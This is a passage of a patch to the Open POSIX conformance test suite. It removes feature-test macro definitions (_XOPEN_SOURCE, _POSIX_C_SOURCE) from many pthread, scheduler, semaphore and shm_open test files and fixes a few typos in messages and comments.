 #include <stdio.h>
 #include "posixtest.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c
index d79b775..4530cf1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c
@@ -23,7 +23,6 @@
  *	9. Child should get the write lock.
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c
index 37303a7..3fdda7d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c
@@ -15,7 +15,6 @@
  *     attribute is set as the default value PTHREAD_PROCESS_PRIVATE.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include "posixtest.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c
index abee8e8..2299104 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c
@@ -16,7 +16,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include "posixtest.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c
index 332b8b2..4f47b9a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c
@@ -17,7 +17,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include "posixtest.h"
@@ -51,7 +50,7 @@
 	}
 
 	if ((rc = pthread_rwlockattr_destroy(&rwa)) != 0) {
-		printf("Error at pthread_rwlockattr_destory()\n");
+		printf("Error at pthread_rwlockattr_destroy()\n");
 		return PTS_UNRESOLVED;
 	}
 	if ((rc = pthread_rwlock_unlock(&rwl1)) != 0) {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c
index e400258..63a0892 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c
@@ -16,7 +16,6 @@
  * 5.  Get the attribute and test whether the setting in step 4 is correct.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include "posixtest.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c
index 6e80d46..3170e52 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c
@@ -25,9 +25,6 @@
 * The test fails if the 1st thread policy is not changed.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /******************************************************************************/
 /*********************** standard includes ************************************/
 /******************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c
index 75d955f..6342f44 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c
@@ -27,9 +27,6 @@
 * The test fails if the priority is changed and an error returned.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /******************************************************************************/
 /*********************** standard includes ************************************/
 /******************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c
index d96be0b..78dd136 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c
@@ -24,9 +24,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /******************************************************************************/
 /*********************** standard includes ************************************/
 /******************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c
index f52e6f0..d396f3b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c
@@ -9,7 +9,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c
index 084bc20..56fcc7f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c
@@ -24,8 +24,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c
index e46a21c..f9e7b22 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c
@@ -17,7 +17,6 @@
  * 4.  Main thread destroy the 'spinlock'
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c
index dc10886..2cbe47d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c
@@ -20,7 +20,6 @@
  * 3.  Create a child thread. The thread call pthread_spin_destroy()
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c
index 8f9b192..0093798 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c
@@ -18,7 +18,6 @@
  * 4.  Main thread destroy the 'spinlock'
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c
index b68adae..a742873 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c
@@ -27,7 +27,6 @@
  *	8. Child call pthread_spin_trylock()
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c
index 0ee3639..a9e0c56 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c
@@ -21,7 +21,6 @@
  * 4.  Child thread initialize the spin lock when main holds the lock
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c
index b85ad26..7e8824b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c
@@ -20,7 +20,6 @@
  * 5.  Child thread check its status in the signal handler.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c
index d91806f..6541051 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c
@@ -20,7 +20,6 @@
  * 5.  Child thread should get 'spinlock'
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c
index 5196f8a..3c3e715 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c
@@ -14,7 +14,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c
index 7ec1a7a..113592e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c
@@ -13,7 +13,6 @@
  * This case will always pass.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c
index 0ba6994..00a1a22 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c
@@ -20,7 +20,6 @@
  * 5.  Child thread check its state in the signal handler.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c
index 5a69732..995e8ca 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c
@@ -13,7 +13,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c
index d1739bf..c205678 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c
@@ -22,7 +22,6 @@
  * 7.  Main thread unlock 'spinlock'
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c
index f3c0a6c..5f71412 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c
@@ -24,7 +24,6 @@
  * 5.  Child thread should get 'spinlock'
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c
index 4b0a5e6..409da63 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c
index 2c9c5d5..7c3c4bc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c
@@ -19,7 +19,6 @@
   * EPERM. It is implementation defined.
   */
 
-#define _XOPEN_SOURCE 600
 #include <sys/types.h>
 #include <errno.h>
 #include <pwd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c
index d0be68d..3b1e205 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c
@@ -11,7 +11,6 @@
  * Test that sched_getscheduler() sets errno == EPERM when the requesting
  * process does not have permission
  */
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sched.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c
index 6643d75..50f87e8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/23-6.c
@@ -12,7 +12,6 @@
  * does not have permission to set the scheduling parameters for the specified
  * process, or does not have the appropriate privilege to invoke schedparam().
  */
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sched.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c
index 449d876..34d3078 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/20-1.c
@@ -17,7 +17,6 @@
  * belongs to root. This test can not be run by root.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sched.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c
index 60fa98b..c3447eb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c
@@ -32,8 +32,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c
index 6e16448..f0b96b0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c
@@ -7,7 +7,7 @@
  */
 
 /*
- * Test case vrifies sem_destroy shall destroy on intialized semaphore
+ * Test case verifies sem_destroy shall destroy on initialized semaphore
  * upon which no threads are currently blocked.
  */
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/assertions.xml
index 69565aa..8c12788 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/assertions.xml
@@ -3,7 +3,7 @@
 sem_getvalue will update the location referenced by sval to have the value
 of the semaphore referenced by sem without effecting the state of the
 semaphore.  The updated value represents an actual semaphore value that
-occured at some unspecifed time during the call.
+occured at some unspecified time during the call.
   </assertion>
   <assertion id="2" tag="ref:XSH6TC2:39749:39751">
 When semaphore is locked, then the value returned by sem_getvalue is zero or
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c
index b158536..8c44b25 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c
index efd927b..a0e918f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c
index 86ba80b..43bba70 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c
@@ -27,8 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c
index 0fcf1d8..d9dc9f25 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c
index d7b9fdb..0fec4ec 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c
@@ -11,7 +11,6 @@
    permissions which should come up with denial access.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/types.h>
 #include <pwd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c
index ee641c4..624b018 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c
@@ -11,7 +11,6 @@
  * semaphore * value by one.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c
index 505085c..2d206af 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c
@@ -12,7 +12,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c
index aec28df..f87afaa 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c
@@ -13,7 +13,6 @@
  * immediately.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c
index 228b3d8..655e351 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-1.c
@@ -10,7 +10,6 @@
  * will unlock the semaphore from another process.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c
index 86836fa..f3cca13 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/2-2.c
@@ -14,7 +14,6 @@
  * the semaphore.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c
index 9153443..dd42bbd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/3-1.c
@@ -11,7 +11,6 @@
  * sem_timedwait call will immediately lock again.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/stat.h>
 #include <sys/types.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c
index 66ddb43..ece0e67 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/4-1.c
@@ -11,7 +11,6 @@
  * by sem.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c
index 032e74c..2634c38 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-1.c
@@ -12,7 +12,6 @@
  * return ERROR (EINVAL).
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c
index 4b35863..f957191 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/6-2.c
@@ -12,7 +12,6 @@
  * 1000 million.  Should return ERROR (EINVAL).
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c
index 11cd26c..79de0af 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/7-1.c
@@ -11,7 +11,6 @@
  * sem_timedwait call will immediately lock again.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <sys/stat.h>
 #include <sys/types.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c
index 554cf2c..d59f06f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/9-1.c
@@ -10,7 +10,6 @@
  * return error EINTR.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c
index 15745dc..fbc585a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/2-2.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c
index 965033b..036da6a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/3-1.c
@@ -31,11 +31,8 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /* Some of the routines are XSI extensions */
-#define _XOPEN_SOURCE 600
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c
index f70ef74..46744f8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/4-2.c
@@ -27,8 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c
index 71300f2..e1e1597 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/5-1.c
@@ -33,8 +33,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c
index 86fe39c..63ccfca 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_unlink/6-1.c
@@ -28,8 +28,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c
index 595ed92..0cca4b0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/1-1.c
@@ -19,11 +19,6 @@
  * The test pass if it read what it was previously written.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
